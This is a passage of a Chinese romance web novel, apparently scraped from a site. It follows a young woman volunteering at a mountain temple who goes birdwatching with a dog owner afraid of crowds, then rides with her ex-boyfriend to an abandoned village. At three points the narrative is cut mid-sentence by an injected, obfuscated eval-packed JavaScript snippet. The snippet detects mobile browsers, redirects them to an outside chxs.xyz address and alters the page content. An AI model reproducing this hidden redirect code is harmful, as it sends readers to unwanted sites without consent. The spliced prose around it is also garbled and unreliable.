「这种动作,有舞蹈或武术功底才能做得这么漂亮。」 视频循环数遍,宁蓁写下评论,慢慢睡着。 * 当晚,她迷迷糊糊做了梦。 梦中她是女侠,出身于山涧幽谷中的隐世门派,修得一手高深莫测的掌法。那日夜深,更深露重,她在谷内独行,忽然听见有人朗朗高喊。 “师姐!” “师、姐——” 她回头,一名轻逸男子从天而降,玄袍翻飞,如墨色的云。群山巍峨峻峭,庞然大物般,为之摇摇欲倾。 “你是谁?”她警觉地抬起手掌。 男子长身鹤立,脸是一片阴晦的影,怎么也看不清。 “师姐,你看,我改练刀了!” 他在宁蓁眼前站定,一手送来自己想要炫耀的长刀。见师姐不说话,他便抽刀出鞘,唰的一下,音色清亮。 “怎么不练剑了。”宁蓁问。 奇怪,她不认得这位“师弟”,怎么会知道他从前练剑? “剑是双开刃,左右皆锋利。刀只开一面,必要时既能伤人,又能救人。” 他言语清明,手中那把刀身细长平直,不似弯月,反倒像柄单开刃的长剑。 但她记忆里始终没有一位师弟。“我要去找师父。” “师姐,你忘了么,师父他去宇宙啦。” 宁蓁仰头观望,山谷中夜色幽深。 宇宙? 这不是个武侠故事吗? …… 耳边有水声。水流冰冷如柱,激醒她的神智。 “你都洗过五遍手了!” 安唯从旁边挤过来,二话不说替她关掉水龙头。 案台上摆着竹筐,筐里放了竹笋和土豆。她们在后厨备菜,宁蓁干着干着就开始走神儿,想起昨夜的梦。 “我总觉得不干净。”她双手悬在池上,手指冻得通红。 安唯眼见她一次又一次拧开龙头,像个执拗的AI,乐此不疲。 “你要是不干净,世上就没有干净人了。” 宁蓁笑笑,拿起菜刀。 * 自从有了伴儿,寺里的日子变松快了。 她们大多数时候一起行动,偶尔分开,比大学室友还熟络。念本科时,宁蓁被分到非本系的寝室,她不懂金融知识,其他人也不读柏拉图和康德,自然没什么共同话题。那时她们常聊的只有一件事:今天莫昭送了哪种香水,明天是不是又要送戒指,送项链。 其实宁蓁羞于谈论那些。但正值青春的女孩子们都爱聊,所以她们问,她就回,看着她们得到答案后露出笑脸,她才觉得松一口气。 “蓁蓁,你们发展到哪步了?” “嗯?”她装作埋头读书,半晌才慢悠悠回应。 “和我们说说嘛,大家都还没恋爱,可羡慕了!” “啊,就是……” 时隔太久,她想不起自己是如何应付的,只记得寝室里爆发出一阵尖叫。 后来有一次,莫昭带她去KTV。那里金碧辉煌,经理穿得像空姐,包厢像豪华酒店的套房。柜格嵌进墙壁,内里是精致的装饰品,茶几上立着各式红酒瓶。偌大空间只有他们两人,灯光渐暗,她双脚踩住绒毯,感到无所适从。 她和他提起那件事。大学室友时常追问,她不知道怎么办。 “怎么办。” 莫昭瘫在真皮沙发上,神态怠懒,仿佛透过一个空洞的孔隙窥她。 “还能怎么办,实话实说啊。”他捞起话筒,音量骤然增大,“就说,你正在听演唱会。” 演唱会。 好张狂的一句话。 想到这儿,宁蓁杵着扫帚直起腰,愣了片刻。 午后空气和暖,比前两日更加舒适。 高挑男人又牵着牧羊犬上了山,这次,他看见那个姐姐在树下扫落叶。 春天坠落的都是新叶,散乱纤细,她弯腰扫了许久,某一刻忽然挺直腰背,转过身面向寺中正殿,痴痴望着。 柿漆的外墙,碧瓦飞檐,窗棂里的庄严宝相。 说不清她在注视哪一个,但他从那道清浅的目光里触摸到诚愫与敬意。 宁蓁回身继续扫地。叶子轻飘飘的,微风一拂就乱了,她追着一片嫩叶往前挪几步,再抬眼竟远远看见沐沐的主人。 她又想起昨天自己对着小狗絮絮叨叨,浑然不顾背后。 ——对了,那时候沐沐仰头来着。 小狗都已经提醒人了,人却以为那双蓝眼睛只映出白雾和香火。 ……逃跑吧。 宁蓁想故技重施,但一时没有迈开腿。 她第一次观察他走路的样子。不拖沓,气息沉沉,又能感觉到呼吸在流动。 以至于看着看着就错过逃走的时机。 “今天工作忙吗?” 温霖穿了件黑色卫衣,既宽松又随性。 “今天……还好。” 她面上总是寡淡的,一边说话,一边低头注视他身上背的单反相机。长焦镜头,轻便,适合携带。 “沐 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福缘寺偏僻,地方窄,旅行团不来便没几个人,显得门庭冷落。转眼间,安唯已经带着沐沐疯跑至院子另一头,她盯着边境牧羊犬的矫健身姿,想象它的主人怎样向师兄开口。没准他会被视为麻烦,被看作一名奇怪的香客。更奇怪的是,他明明应该惧怕鸟类,却偏偏想要往山里走。 没多久温霖又出现了,旁边跟着一位僧人。那师父脖子上佩戴佛珠,背后垂下长长的流苏背云。 一般的修行者没有那种配饰。 ……他直接去问了住持? 她视线朦朦胧胧的,不知他如何请示,但见住持双手合掌,好似应允。 “住持说可以,但最好别走太远。” 温霖笑着回来,额前碎发飞扬,意气风发。 宁蓁原本心存顾虑,担心某些东西再度闪回,但如今机缘已至,再不去反倒不妥了。 “不会耽误你太久的。” 走下山门时他轻声说,听起来像一句承诺。 “不耽误。我也……喜欢观鸟。” 喜欢……吗?她默念这两个字。 观鸟是奢侈的爱好。便宜的长焦镜头能用,但不过瘾,没两三个月就得一步到位换成顶配。宁蓁的收入暂时支撑不起昂贵的设备,于是屡屡败退。 他们离开山门,沿着公路走向深山。在此之前,她从没想过这盘山的路究竟通向哪里。 “鹭山里有村子吗?”温霖和她默然相契。 “没有,”宁蓁听义工师兄介绍过,“所以福缘寺的香火不算旺盛。” 路上空旷,虽然修了公路,但视野不佳,人们大多习惯把车子停在山下。 温霖低低应了一声。高树苍翠欲滴,已然能听到鸟鸣。 宁蓁依靠直觉抬眼远眺,捕捉到枝桠上一团毛茸茸的生灵。 “在那儿。” 她也放低声音,连动作都轻缓。 温霖顺着指示举起单反,对焦。 咔嚓。 咔嚓。 利落的快门声。 宁蓁想凑过去看,但身高差异让她率先撞见他轮廓分明的侧脸。 “好清楚啊。” 温霖不介意分享,双手举着相机朝她躬身。画面里,身黑腹白的小鸟站在细枝,胖乎乎的,头冠尖尖,两坨橙色腮红飞上脸颊。 “这是红耳鹎。”她说。 “你什么都认识。”他话中藏着惊叹。 “以前偶然见过。” 宁蓁从小就学吹哨子,模仿鸟叫,吸引的都是雀形目。 “你不怕吗?” 突然,心中所想宣之于口。 因为分享相机,温霖的气息近在咫尺。浅淡的青草香味轻柔环绕,抚过她的眉梢、眼睫。 “我不怕鸟,姐姐。” 风又来了。他眼底微微滉漾,如天上溶溶的月晕。 “我怕人。” 5. 初涉天堂 人群恐慌症。 严格来说算是一种社交恐惧,与焦虑症类似,急性发作时呼吸困难,心悸难忍,甚至有濒死感。 “本来以为鹭山没什么人,结果那天碰见旅行团,我才……没牵住沐沐的绳子。” 他们继续深入山林。恢复社交距离后,温霖目视前方,声音渐沉,只在提到沐沐时晃了一下。 宁蓁想起初遇那晚他身上薄薄的衣物。来时阳光充足,后来却淋过雨,浑身沾湿,冻得轻轻颤抖。 ——他几乎在山上找了一整天。 “本来昨天就想坦白,但你跑走了。”他话中哂然,倒不是在笑她。 “嗯……” 原来自以为的错根本不算错。她踌躇片刻,安慰道:“你辛苦了。” 说罢,思绪终于肯退回昨日。 汹涌的人潮诱发恐惧,他陷入沉默,最后选择避开那团喧嚣,把牵引绳交给她。可是,既然有预感,为什么还要提议一起上山? 宁蓁走在温霖身旁,目光不动声色地攀上他的手臂。 深黑卫衣,黏着一根卷曲绒毛。养犬人摆脱不掉的命运。 她忽然察觉到这里面细微的违和。 “你松手的时候,它为什么会跑?” 鸟鸣再度掠过,像潺潺的溪水。 “沐沐不是精神抚慰犬吗?”宁蓁说出自己的猜测。 这一点与他的病症相互印证:犬类善于感知人类的情绪变化,包括沮丧、失望,甚至焦虑或抑郁倾向。精神抚慰型工作犬经过特殊训练,能够及时发觉异样,提供安抚和陪伴。 换句话说,主人惊恐发作,沐沐应该停在原地陪他,而不是在没有指令的情况下擅自奔进鹭山。 “是,”他承认,“沐沐是抚慰犬。” 他们走入一片婆娑树影。温霖偏了头看她,垂下睫毛。 宁蓁顾自望向遥远的地方。天高云淡,两人视线没有交汇。 那天沐沐的确十分反常。 他慌不择路,绝望,快要窒息,瞳孔聚焦被山雨打散,直到遇见降落在鸟群里的她。 是为了带领我找到你。 但你会相信吗。 须臾,温霖收敛神色。“沐沐有它自己的想法。” “也对。”宁蓁想到在院子里疯跑的一人一狗。 她太多虑了,为什么要求它时刻正确呢,抚慰犬也是小狗,也有爱玩的天性。 不知不觉,他们走了许久。与那晚风景不同,公路愈发窄了,鸟鸣反而更加清晰。这条路上不见玉兰,杏花取而代之,枝头花瓣缀着蹁跹的春日气象,赏心悦目,勾着人去深处。 温霖在靠近路旁的一侧,随时举起相机。他不执着于野生鸟类,还想拍树,拍花,拍絮状的云,好像景框里的一切都显得新奇。 快门飞速闪过,流瀑似的,倒是清脆悦耳。 宁蓁微微眯起双眼。 他该不会刚学会用单反吧…… 路途拖曳到西边。她已经有点儿累了,身体微微发热,但脚步没有丝毫停顿。山间景色变换几分,耳边擦过小鸟啼啭,轻快灵活,一下下蹚着叮咚的水声,在空中扬起清澈水花。 路边依然是杏树,密密丛丛,花瓣相互掩映着,仿佛那里有秘密。 离开山门和庙宇,心气也大胆起来。她想呼唤身边人,话到嘴边,眼神都跟过去了,结果竟然叫不出口。 “……” 宁蓁张了张唇,声音哽在喉咙,只送出一道叹息。 他的名字有哪里很难念吗? 平声直,上声斜,明明是浅易平和的两个字,怎么就忽然在唇齿间来回打转。 她眉头轻蹙,干脆一抬手轻拽他衣袖。 “嗯?” 温霖手臂滞了一秒,但转瞬即逝,应该是错觉。 宁蓁立即放开。拉扯感悬停在空气里,很快消散。 “能不能去杏树后面看看。”她说。 他爽快答应:“好啊。” 杏花树后如同玉兰树丛,不是寻常道路,既难走,常人一般也懒得进去。 花枝旁生,温霖在前面替她拨开,影子笼罩在她身上。花瓣生得近,撩起她的发丝,脚下土地崎岖,天也被遮住,花香和草木全部都纠缠在一起。 好乱。 就这么小步小步地走,真的要被迷了眼睛。 路太局促,天挤着,花也挤着,熙来攘往不得安宁。呼吸凝固,周边摇摇晃晃的,泄出嗡鸣和嘈杂。她不反抗。别人要挤,推了还会弹回来,伸手反而白费力气,不如待在原地,随波逐流。 在她自幼的观念里,不动,就不会受伤。 宁蓁后悔想停,觉得正在误入歧路。 那时温霖回头了,扶住她手腕,像她碰他袖子那样轻。 一阵微妙的眩晕袭来,可她记性太差,场景仅堪堪闪烁一瞬,找不到源头。 “小心,再走几步,马上就出去了。” 宁蓁随他往前。 如他所说,再不久,视线豁然开朗。杏林在那儿截断,换作宽敞的山野,水声不是小鸟鸣叫的伪装,潺潺流水顺势而下,淌出一条明净清溪。 苍树蔓草并成林。而真正的啼鸣,在葱茏的树尖上交相呼应。 温霖有些诧异,过一会儿,才缓慢地捧起相机。 “姐姐,我能拍吗。” 他盯着树,征求她同意,好像那成群结队的鸟是她召唤出来的。 宁蓁笑了:“你得问当事人。” 太近了会吓坏它们。她率先走入林间缝隙,保持距离,仰头发呆。 树上有鸟,树下有,小溪边还有。凤头鹀是黑中一点鲜栗,红耳鹎脸上涂红又抹白。鸟类喜欢流动的水源,小巧尖喙一啄一啄,低头喝一口,歪着脑袋看看朋友,看看周围,丝毫没有要飞走的意思。 “竟然还有远东山雀……”她喃喃自语。 小鸟飞得缓,鸣声响,以花果和昆虫为食,能在溪边群聚,说明附近没有天敌。 这里是雀形目的天堂。 脑海中莫名冒出那句话,句尾扯来一声轰然巨响。 宁蓁心脏蓦地往下坠。 溪水不知道流向哪里,又浅又细,成年人抬腿就能迈过去。温霖正在小溪对面单膝跪地,用相机对准鸟群。她看不清拍摄对象是一只还是几只,却能看见相机镜头闭合的瞬间。 咔嚓。咔嚓…… 她眨了眨眼。 温霖慢慢起身,朝自己靠近。 翠绿竹哨躺在口袋,有千斤重。她笑意散尽,脊背麻木地挺直,身体迅速冷却。 她突然就明白,为什么他即使恐惧,也想迎着旅行团一起上山。 间隔是道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071732|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天堑,他却像被风推着,越来越快。她听见干枯树皮剥落的声音,怀疑这场面在梦里也见过。 别问我。 也别期待。 ——“蓁蓁,再表演一次吧!” 女高中生灼灼的目光割开她血肉。 宁蓁眼眶泛红,连指节都在剧烈颤抖。 求你了…… 别再让我弄响鸟哨…… 真正怕鸟的人,是我。 …… 再回寺里,已经是下午五点。 山门上无香客,无闲人,只有安唯对着香鼎双手合十。旁边趴着一团灰白色的毛茸茸,拖长尾巴一动不动。 “你们终于回来啦,宝贝都玩儿困咯。” 犬类听力灵敏,此刻反而是短发女孩先转身招手。小狗瘫在石砖上,宝石蓝的眼即将闭起来,一副昏昏欲睡的模样。 “沐沐,该走了。” 温霖弯腰去拾地上的牵引绳。沐沐见主人来,慢悠悠提起精神,竖起耳朵。 宁蓁关注时间,向安唯催促道:“我们也去厨房吧。” “那下次见。” 他不愿再打扰她们工作。可沐沐好像听不得“去”或“走”,突然前扑,努力地高高站立,扒在宁蓁的腿上,要她回应。 浅色长裤留下显目的尘土,接着,她撕开一张酒精湿巾。 温霖心中顿挫,手腕绕两圈紧了绳子,阻止它胡闹。 “你把姐姐的衣服弄脏了。” 他话音重些,而宁蓁只是用湿巾擦拭双手。 “没事的。” 残余的酒精快速挥发,掌心变得洁净干燥。她主动俯身,与沐沐同高,第一次抚摸它柔软的、有点卷曲的长毛。 右手善意地蹂躏,又以双臂环住,紧紧拥抱。温热的触感,活的生命,让她不忍放开。 “好了,下次再见吧。” 她说话的方式没有改变。沐沐倒退两步,眼中重新充满活力,满意地甩了甩尾巴。 * 工作结束,夜晚,宁蓁从行李中搬出笔记本电脑,放在寮房唯一的长桌上。 邮箱里有新信件:“先生/女士您好,来稿《红月亮》已拜读,感谢您对杂志的关注与支持。该篇小说语言风格简洁有力……” 扫过第一行就知道结果。先扬后抑,有礼而不失温度的退稿信。她轻耸肩膀,无动于衷地撰写新邮件,投给下一家文学杂志社。 “好想吃五花肉啊——” 背后,安唯伸了个懒腰,声音拖长。 宁蓁失笑:“这话不能乱说。” “没乱说,诚心诚意,天地可鉴。观音都点化过了,女孩子就该多吃肉蛋奶。” 她再度双手合拢,大方坦荡,确实看不出任何畏缩的姿态。 能把边境牧羊犬的精力熬空,吃了一天素斋就想念五花肉——年轻的身体真好。宁蓁默默羡慕。 安唯胳膊搭在椅背上:“蓁蓁,等义工结束我们去吃烤肉吧。” “好,等结束。”她顺手打开收藏夹里的网站,登录账户。 安唯是个长得酷,但自来熟的女孩。宁蓁不清楚她是不是和所有人都这么熟。 “啊。” 她没征兆地喊了一声,声音卡壳,引得宁蓁疑惑转身。 “怪不得觉得耳熟,原来是凝真啊。” 6. 天使朋友 “先说好,我没故意看你电脑,是无意间瞥见的。” 安唯手指并拢想比个发誓,但思及现在的处所,临时改为合掌。 “没关系,真的。” 她倒不计较这个。以前读大学的时候,室友也经常搂着她手臂,形貌亲昵,一垂眼,手机屏幕里的聊天对话就一览无余。 “我也真没想到能和‘凝真’线下碰面,猜猜我是谁?” 安唯扬眉,抛出谜题。 宁蓁看她满脸期待,开始思考线索—— 她瞥见电脑屏幕,说明账号信息暴露了我的身份。我登录的是“文字片场”——两年前,创写学长搭建的冷门文字交易网站。作者可以在站内出售零散创作的文案、点子、世界观、人设乃至废稿,顾客支付定价,买断使用权。 “音乐可以买卖,美术可以,文字怎么不行。”学长当年如是说。 实际上,捧场的都是本系同学。从某种程度来说,他实在做了件好事,大大缓解了创意写作系学生的就业焦虑。 所以,答案是…… 宁蓁点开交易账单,查看自己唯一的买家: 【伱啲兲使萠伖??】 沉默半晌。 她缓缓出声:“天……天使朋友?” 短发酷女孩的期待化为一丝得意:“正是在下。” “这名字好复古啊。” 宁蓁忍不住想笑。但在她那张脸上,笑容总是很浅。 “不问问我把你的随笔用在哪儿了吗?” “用在哪儿了?” “我的新游戏,12岁+,2到4人,德式,悬疑风合家欢。” 悬疑,合家欢,组合在一起像强扭的瓜。不过宁蓁因此得知她的工作:“德式,桌游设计师?” 安唯说是,接着这个话题往下聊。她大学读的计算机,毕业后短暂打过零工,做过一阵码农,后来觉得无趣,开始动手设计桌面游戏,如今已有一款作品在售。 听起来经历过那么多,现在才二十三岁。她像风一样自由。 “真好。”宁蓁由衷感慨。 安唯歪头:“‘好’在我创意枯竭到寺庙打工找灵感吗?” “也算吧。”她笑了笑,关掉网站。 “你在忙什么,怎么不传新作品了。”安唯又问。 文字片场流量极低,点击不过个位数,随笔散文挂上去也是摆设。而现在,冷到北极圈的两位小众用户相遇了,在北城偏远郊区的寺庙寮房里。 宁蓁动容,犹豫一瞬:“……我在写稿子,投给文学杂志。” “短篇小说么,”她好奇,“能不能容我拜读一下。” “没什么好看的,就是一个已婚女人出轨,最后得到惩罚的故事。” 开头第一句,“人们说,看见红月亮的时候准没好事”。丈夫的心紧锁着,女人打开它,发现里面什么也没有。某天,她躺在一具黑色棺椁里,决定出轨。她在棺椁内认识一个男人,男人声称自己身材健美,其实脖子上的肉很松软。结尾处,女人上了他的车。车内有婴儿座椅,车门锁了,她手掌撑在玻璃窗上,抬眼看见天上一轮血红的月亮。 宁蓁没有具体讲述那些内容。她认为主题没错,但缺乏细节,而且归根结底是对文学母亲的拙劣模仿。【注1】 安唯挑眉,似乎不自觉。 寮房又安静下来。 外面刮起风,应该在很远的地方。 “我……” 宁蓁刚想说,还是把文章发给你吧,帮忙看看。对方却漫不经心笑开,抢先一步。 “人类几百年来都在写这种伟大的故事。” 天使朋友趴在椅背,单手托腮,没挑刺。 “可我更喜欢那种:一个已婚女人终于出轨,最后得到幸福。” * 夜里,梦境盘桓,但她彻底忘光了。 春意一日比一日浓,山里的小鸟也越来越不怕人,肆意在窗边犯懒。早晨,李肃打来电话,宁蓁怕打扰熟睡的室友,蹑手蹑脚出了寮房。 电话那边依然是大嗓门,问她几时回来。 她以为李肃又要唠叨电视台的事。“嗯,下周吧,或者下个月。” “上次那几个丫头说作业写得好,要拿到市里去评奖,还要让你去学校一趟。你微信我推过去了,到时候你们自己安排吧。” “学校?”她忙用手掩住声音,“让我去学校?” 李肃说:“回去看看不是正好么,也算你半个母校,再说了,二中多漂亮啊,我们想进还进不去呢。” 山间起了薄雾。 “……好,知道了。”她恍惚应付着。 “嗯。”那边要挂电话,忽然又补一句,“对了,你也不小了,好好经营一下感情吧,别像我,闹得鸡飞狗跳。” 放下手机,安唯正好打着哈欠出来。 “你咋啦,脸色发白。” 宁蓁勉强提起嘴角:“没事,准备去干活儿了。” 寺里唯二的女孩被分到厨房,她们得赶在七点前备好早斋,餐后负责洗碗,没过多久又得准备午饭,基本没有休息时间。 安唯一边挽袖子一边说:“你看后厨这么宽敞,义工竟然只有咱们俩。” “是啊,清净。”她拧开水龙头。 掌勺的师傅不穿僧衣,大概是寺外人,来帮忙的。他脸庞圆润,看不出年纪,一般也不搭话,由着她们聊天。 “我昨天就发现了,”安唯把淘米缸里弄得哗哗响,“那群师兄老在后院晒太阳。” 宁蓁有意克制,仔细洗过一遍手就擦干。 “该不会这些本来应该四个人做吧。师傅,您说呢?” 安唯往后扭头。她不知道,刚来那天,米面蔬菜一点儿没少,全靠宁蓁自己处理。 师傅正弯腰搬箱子,有颗苹果骨碌碌滚出来。“我说啊,能有俩人帮忙我就谢天谢地喽。” 她们不约而同地笑,继续手上的活儿。天使朋友看着潇洒,其实心很细,如果出了疏忽,那肯定不是故意的。 “对不起!” 五分钟后,安唯九十度鞠躬,旁边摔倒的油壶见证了她的手滑全过程。 裤子让油浸了,湿乎乎的。宁蓁摆手说没关系,心中飘过组长师兄开会时的嘱咐:“寮房不配备洗衣机,大家有需要就手洗,当然,有条件的话带回去洗也行。” 回家洗吧。 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071733|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学时也是这么干的。她觉得宿舍的公共洗衣机像血盆大口,为此还惹来本科室友的揶揄。 “蓁蓁,你不会有洁癖吧。” 应该没有啊,她半信半疑。后来室友们常开玩笑,谁一拿起拖把就互相应和。 “哎,你放下吧,蓁蓁会收拾的。” 那话倒没错。她是寝室里最爱搞卫生的,容不得地板有一点污迹。 一路小跑越过古槐树,从僻静步道回寮房。中途手机弹出新信息,来自无备注的号码。 「今晚有空么,等工作结束带你去个地方。」 去还是不去,宁蓁拿不定主意。时间紧,摊开行李箱,衣物上有油渍、灰尘和弯弯的小狗毛发,难再翻出一件彻底干净的。 搭便车能省点打车费。她叹气,一字字输入: 「那你,方便,顺便捎我回家吗。」 * 夜晚,天色幽暗,张眼是朦胧的月。宁蓁怀抱编织袋下了山门,心里计算着时间。 黑轿车停在山门底下的公路,像条巨型蟒蛇。她想着不耽搁的话,大约在十二点前回来。 车里有馥郁的香水,分不清是花香还是木质香,闻起来矜贵,让人头晕。宁蓁谨慎吸气喘气,发现底下还混杂着烟草的焦味儿。 男人穿的休闲西装,腕上系表,目光隐在镜片后面,朝副驾驶那边迂回流连。 “安全带。”莫昭出言提醒。 宁蓁靠着头枕垂下眼帘,正好和挡风玻璃前的兔子摆件四目相对。 “兔子倒了。”她说。 莫昭微笑,启动车子:“它就是倒着的,方向朝南,你别碰。” 奇怪的摆法,是风水么,抑或玄学。宁蓁不记得他以前有这种习惯。 夜路寂寥,车灯给黑暗削出一块,碾成曲折的盘山路。转弯处有失重感,烟和香水搅得她太阳穴直跳。 “慢点开。”宁蓁发现他要上山,摸出手机。 “坐过那么多次了,我的技术你还不信任吗。”他说得暧昧。 微信里没几个对话框。上面是安唯打招呼的消息,然后是温霖——“今天要去工作,改天再打扰”。再往下堆满购物群组,奶茶,超市,书。 莫昭似乎觑见她的手机屏幕,手打方向盘,语中带笑:“不考虑把我加回来?” 加回来,他说。 当年莫昭的头像长什么样? 宁蓁模模糊糊想起一个背影。好像是他本人,后面有天空。 但温霖用了一方低饱和的纯蓝,严格来说,是月白色。 她还以为养犬人都喜欢拿自家宝贝的照片当头像。 为避免头晕加重,宁蓁就那么坐着,视线低垂,长发别在耳侧,看起来恹恹欲睡。 “下车加吧。” 开车危险,却便利,用不了多久就经过昨天那片杏林。夜里,鸟鸣消沉,偶尔的响动也被引擎声淹没。 “蓁蓁,”他声线略显喑哑,“怎么不问我要带你去哪里。” 宁蓁常常心不在焉。可她天生一副寡淡的皮,是漠然还是心猿意马,旁人通通看不明白。 “……哪里都好。” 只要不横穿那片林子,哪里都好。 7. 婚戒 “真正怕鸟的人是我。” 宁蓁僵在原地,感觉双腿变成虬结的根,扎入土地深处。 但她不能当着温霖的面掉眼泪。 他是陌生人,和义工师兄们一样,相见时彼此合掌低眉,转身后便化形为随水的浮萍,聚散不定。 宁蓁阖眼,攥紧发抖的手,假装自己像梦中的女侠。 山涧幽谷,两个人的门派。月白风清。仁者。师弟。 “没拍几张就跑光了,有的还没对上焦,你看。”温霖的声音迎着风来,“背景清晰锋利,中间糊成一团。” 成功了,他没看见她失态的样子。 宁蓁视线扫过液晶监视器,接上他的话:“下次穿浅色衣服试试。” “之前还以为纯色就行,真抱歉啊。” 他一边自我检讨,一边翻着照片给她展示,覆盖住按键的手指干净修长。 ……好适合拿刀剑。她想。 “听说鲜艳和黑白都容易把鸟吓跑,最好是柔和色,或者迷彩服。”宁蓁的身体逐渐松动,“不过根据鸟的类别也有出入,比如,它们刚才不是没飞走吗。” 鸟群奏鸣曲越来越远,小鸟们慢半拍,才察觉人类涉足了它们的领地。照片继续翻,远东山雀也没对上焦,被拍成一抹香草棉花。 “镜头不够用。”他说。 “但是你的手很稳。” 监视器太小,两人靠得太近,呼吸之间,自然的清息萦绕在她眉心。 温霖按了很多次快门,大概多到他自己都数不清。 “这张拍得好。” 宁蓁不经意间笑了。画面里的小鸟相当圆润,像披了件大氅,顶冠颇有摇滚风范。 还是红耳鹎,他和这种鸟有缘。 正要说点什么,下张照片的风景却突变。她感觉身边人目光一晃,接着,树静风动,周围绿叶撩过耳际沙沙作响。 “……” 温霖翻转手腕撂下,相机险些脱手又被捞回来。 他的动作总是利落,一气呵成,快到那陌生相片徒留一道虚影从眼中流走。 宁蓁根本捉不住端倪,只隐约觉得照片中间好像有人,背景是一汪疏朗的绿。 ——他确实不记得自己按了快门多少次。 “这个……暂时不能给你看。” 温霖右手握住单反。宁蓁站在左边,抬眼见他耳根稍微泛红。 “你放心,我什么都没看见。” 她说的是实话。他低声回应,拿着沉重相机的手还在用力。 “呃,”宁蓁忽然改口,“可能看见了一点……” “……?” 他的眉眼被照亮。她顺势寻觅,发现这里不仅有溪水,还有倾斜坠落的充裕阳光。杏林后面藏着林缘,林冠之间开出窗,也许真是绝佳的鸟类生存场所。 “我们交换个秘密吧。” 宁蓁趁他尚未反应,擅自给照片的事下定义。 “我假装没看过,你假装没来过。” 鸟群早落去林子深处了。但就连这片林缘,她都不想让人发现。 他值得信任吗? 至少,小鸟飞散的时候,温霖没表现出期待,也没谈起她的哨子。 “那,一言为定。” * 那片林缘成为秘密。离开时他们反复确认过,杏花依旧相互掩映,看不出有人通过的痕迹。 好像阵法。宁蓁想起梦里的山谷,是不是回门派前也要先破解一片杏林组成的迷阵。 “想什么呢。” 莫昭看她不说话,打开车载音响。 夜色迷蒙,山路与白日两个模样,宁蓁忍着眩晕感往外望,想游进漆黑的海。 “我上周刚定制的,”他半开玩笑,“听听响不响。” 莫昭经常换车。以前听说过价格,一串数字飘过去,像大富翁游戏里的胜利目标。她一辈子也挣不了那么多钱。 重低音从前后左右涌来,鼓点拨动神经。音乐慢慢上溢,流向车外的黑夜,淹没她的听觉。 香槟,五彩纸屑。开头的示爱优雅而轻佻。 “效果怎么样?”转弯处,莫昭问。 “还可以。” 她挺喜欢这种松弛的律动,但歌到后半段突然掠过一些难以忽视的字眼。“我有很多女孩”,“我魅力无穷”,几个英文歌词搅着空气,让香水味儿更加浓烈。 她不禁开口问:“还要多久才到。” “很快了,”莫昭用安抚的语调,“你晕车么?” 宁蓁一直晕,尤其受不了香烟,即使那烟里有红酒爆珠。她蓦地想起很久以前,自己乖乖坐在副驾驶,听当时还是男朋友的莫昭聊车。他说那辆推背感不错,可她坐着像过山车,心脏都仿佛不在身体里,飞来又飞去。 山路逶迤,车开了许久,应该早就越过那片杏林。她终于能闭上眼,聊点别的转移注意力。 “你后来去了哪里,英国吗。” “分手之后?”他似乎故意要强调时间,“瑞士,荷兰,意大利。” 玻璃窗上沾了水珠,山里飘起夜雨。 他们当初是断崖式分手,莫昭提的。 她忘记了很多事,唯独这一点忘不掉。那时候她大四,正要上交毕业论文的初稿。哲学系文章难写,书难读,她天天伏案熬夜研究那个复杂的“主体间性”。一日夜里,莫昭发来微信,说事业繁忙,得出国一段时间,无力再维持他们的关系。 凌晨两点,灯光昏黄。书桌上平铺着从图书馆借来的原著,手机夹在书页之间,她看一眼消息,再横移,目光挪向旁边那行印在纸面的狭长文字。 “分手吧,蓁蓁。” “但是它现在被理解时间的已完成的客观化所支持。对它的怀疑只会持续在看的一刹那……”【注1】 和哲学书相比,莫昭的话如此简明易懂,她心底竟然有些庆幸,于是即刻回复一个“好”,把他删除。 “蓁蓁,我很想你。” 暌违已久,他重提旧事。 宁蓁沉默着,忍受眩晕带来的翻江倒海。 “谁知道你那么绝情,就回一个字,我根本来不及挽留。” 她难受得说不出话,开始想那篇论文的结局。紧赶慢赶在Deadline前上交,指导老师写批语,二稿三稿地改,最后幸运拿到优秀论文奖。 然后呢。 然后迎来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071734|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匆忙的毕业季,室友们着急离校,都来不及道声恭喜。 见宁蓁不言语,莫昭也不再纠缠,伸手碰一下音响中控台。 音乐如雨势一样增大。 不知过了多久,车速渐缓。宁蓁让他打开窗,山里潮湿的雨水气味涌进来。 车灯光亮有限,但能看得出这里地势平稳开阔,绵绵雨幕后是一座座低矮砖房,阴晦蒙昧中可见山的形状。 “车里没伞,先别下去了。”莫昭叮嘱。 公路的尽头通向哪里,答案是废弃的村庄。 没有路灯,没有人烟。宁蓁不懂他为什么要带她来这儿。 车熄了火。莫昭长臂搭在方向盘上,显得昂贵的腕表格外瞩目。 